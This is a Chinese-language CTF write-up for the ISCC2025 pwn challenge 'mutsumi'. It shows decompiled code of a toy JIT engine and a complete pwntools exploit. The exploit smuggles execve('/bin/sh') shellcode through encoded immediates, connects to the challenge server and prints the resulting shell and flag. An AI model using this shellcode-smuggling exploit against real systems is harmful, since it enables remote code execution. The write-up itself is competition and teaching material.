ISCC2025 WriteUp 提交模板

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pwn+mutsumi

解题思路（必须包含文字说明+截图）

1. 主要程序是实现了一个简单的 JIT 引擎，通过传入指定的参数来进行编码

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t ido_len; // rdx
  size_t v4; // rdx
  size_t v5; // rdx
  size_t v6; // rdx
  size_t v7; // rdx
  size_t v9; // rdx
  __int64 v10; // rax
  char **v11; // rcx
  int v12; // [rsp+Ch] [rbp-54h]
  int v13; // [rsp+10h] [rbp-50h]
  __int64 v14; // [rsp+18h] [rbp-48h]
  void *mmap_addr; // [rsp+20h] [rbp-40h]
  char *chunk; // [rsp+28h] [rbp-38h]
  char *op; // [rsp+30h] [rbp-30h]
  const char *type; // [rsp+38h] [rbp-28h]
  char *nptr; // [rsp+40h] [rbp-20h]
  char *v20; // [rsp+48h] [rbp-18h]

  mmap_addr = mmap((void *)0x114000, 0x1000uLL, 7, 49, 0, 0LL);
  chunk = (char *)malloc(0x20uLL);
  v14 = 0LL;
  m_addr = (__int64)mmap_addr;
  Vm = (__int64)calloc(0x100uLL, 0x10uLL);
  puts("Mutsumi wants to move saki, come to help her");
  while ( 1 )
  {
    __isoc99_scanf("%s", chunk);
    op = strtok(chunk, ",");
    type = strtok(0LL, ",");
    ido_len = strlen(IDO);
    if ( strncmp(type, IDO, ido_len) )
      break;
    nptr = (char *)malloc(0x20uLL);
    __isoc99_scanf("%s", nptr);
    if ( !strncmp(nptr, "to", 2uLL) )
    {
      v13 = 1;
      v20 = (char *)malloc(0x20uLL);
      __isoc99_scanf("%s", v20);
      v4 = strlen(v20);
      if ( !strncmp(v20, "tomorin", v4) )
      {
        v12 = 0;
      }
      else
```

```
  if ( strncmp(s, SAKI, v3) )
  {
    fprintf(stderr, "Who's %s? mutsumi doesn't know\n", s);
    exit(1);
  }
  if ( (_DWORD)v12 )
  {
    if ( (_DWORD)v12 == 1 )
    {
      if ( HIDWORD(v12) == 3 )
      {
        *(_BYTE *)src = 0xFF;
        *((_BYTE *)src + 1) = 0xE2;
      }
      else if ( HIDWORD(v12) <= 3 )
      {
        if ( HIDWORD(v12) == 2 )
        {
          *(_BYTE *)src = 0xFF;
          *((_BYTE *)src + 1) = 0xE1;
        }
        else if ( HIDWORD(v12) )
        {
          *(_BYTE *)src = 0xFF;
          *((_BYTE *)src + 1) = 0xE3;
        }
        else
        {
          *(_BYTE *)src = -1;
          *((_BYTE *)src + 1) = 0xE0;
        }
      }
      n = 2LL;
    }
  }
  else
  {
    src = imm2asm(HIDWORD(v12), &n);
  }
  memcpy((void *)(v7 + *(_QWORD *)(a1 + 16)), src, n);
  v7 += n;
}
free(src);
return v13 - __readfsqword(0x28u);
```

```
char *__fastcall imm2asm(unsigned int a1, _QWORD *a2)
{
  char *chunk; // [rsp+18h] [rbp-8h]

  chunk = (char *)malloc(0x10uLL);
  if ( a1 > 0xFF )
  {
    *chunk = 0xE9;
    *(_DWORD *)(chunk + 1) = a1;
    *a2 = 5LL;
  }
  else
  {
    *chunk = 0xEB;
    chunk[1] = a1;
    *a2 = 2LL;
  }
  return chunk;
}
```

2. 虽然对字节码的长度有限制，但是还是可以写 shellcode

```
{
  mmap((void *)0x514000, 0x2000uLL, 3, 49, 0, 0LL);
  mprotect(*(void **)(a1 + 16), 0x1000uLL, 5);
  return (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))(a1 + 16))(
           0LL,
           0LL,
           *(_QWORD *)(a1 + 16),
           0LL,
           0LL,
           0LL);
}
```

Exp（如有，请粘贴完整代码，不允许截图!）

```
from pwn import *

binary = "./attachment-33"

ip = "101.200.155.151"

port = 12800

def send_imm(p, value):

    p.sendline(b'saki,ido')

    p.sendline(str(value).encode())

def stop_exec(p):

    p.sendline(b'saki,stop')

def exp(p):

    p.recvuntil(b"Mutsumi wants to move saki, come to help her")

    send_imm(p, 1)

    send_imm(p, 0x6873bf66)

    send_imm(p, 1)

    send_imm(p, 0x10e7c148)

    send_imm(p, 1)

    send_imm(p, 0x2f2fbf66)

    send_imm(p, 1)
```

```
send_imm(p, 0x10e7c148)

send_imm(p, 1)

send_imm(p, 0x6e69bf66)

send_imm(p, 1)

send_imm(p, 0x10e7c148)

send_imm(p, 1)

send_imm(p, 0x622fbf66)

send_imm(p, 1)

send_imm(p, 0x90909057)

send_imm(p, 1)

send_imm(p, 0x90ff3148)

send_imm(p, 1)

send_imm(p, 0x51bf66)

send_imm(p, 1)

send_imm(p, 0x10e7c148)

send_imm(p, 1)

send_imm(p, 0x4ff8bf66)

send_imm(p, 1)

send_imm(p, 0x90903bb0)

send_imm(p, 1)

send_imm(p, 0x90909099)

send_imm(p, 1)
```

```
    send_imm(p, 0x050f)

    send_imm(p, 1)

    stop_exec(p)



    p.interactive()

def main():

    p = remote(ip, port)

    exp(p)

if __name__ == "__main__":

    main()
```

```
[*] Sending immediate: 1 (0x1)
[*] Sending stop command
[*] Switching to interactive mode

Ok, now saki stops
$ cat flag.txt
ISCC{868ae0fd-ff5c-48bb-bf8d-65942b22c8ee}
```